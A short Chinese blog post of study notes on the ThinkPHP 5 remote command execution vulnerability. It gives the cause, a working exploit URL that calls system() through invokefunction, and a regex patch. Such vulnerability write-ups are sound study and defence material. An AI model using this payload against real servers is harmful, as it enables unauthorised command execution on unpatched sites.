ThinkPHP5远程命令执行漏洞
(0)

参考链接:
https://zgao.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/
https://www.yuque.com/u2167937/rclxdh/cxilh2

没有明白这个东西,想等一段时间再来重新学习一下

产生原因

在5.0.23以前的版本,获取method的方法没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用

path()获取路径:index/thinkapp/invokefunction,剩余变量存储在$_GET中
parse_url可以解析URL,用数组将url中的各种组成成分返回:type:"module"
然后下面运行exec函数,里面有一个switch判断tye为module,然后进入self:module()

利用方法

http://xxx.xxx.xxx.xxx/tp5/public/
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

修复漏洞

5.0版本在thinkApp类module方法获取控制器的代码后面加上:

 if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
 throw new HttpException(404, 'controller not exists:' . $controller);
 }
本文为作者hackerbo.com发布,未经允许禁止转载!
下一篇
评论
暂无评论 >_<
加入评论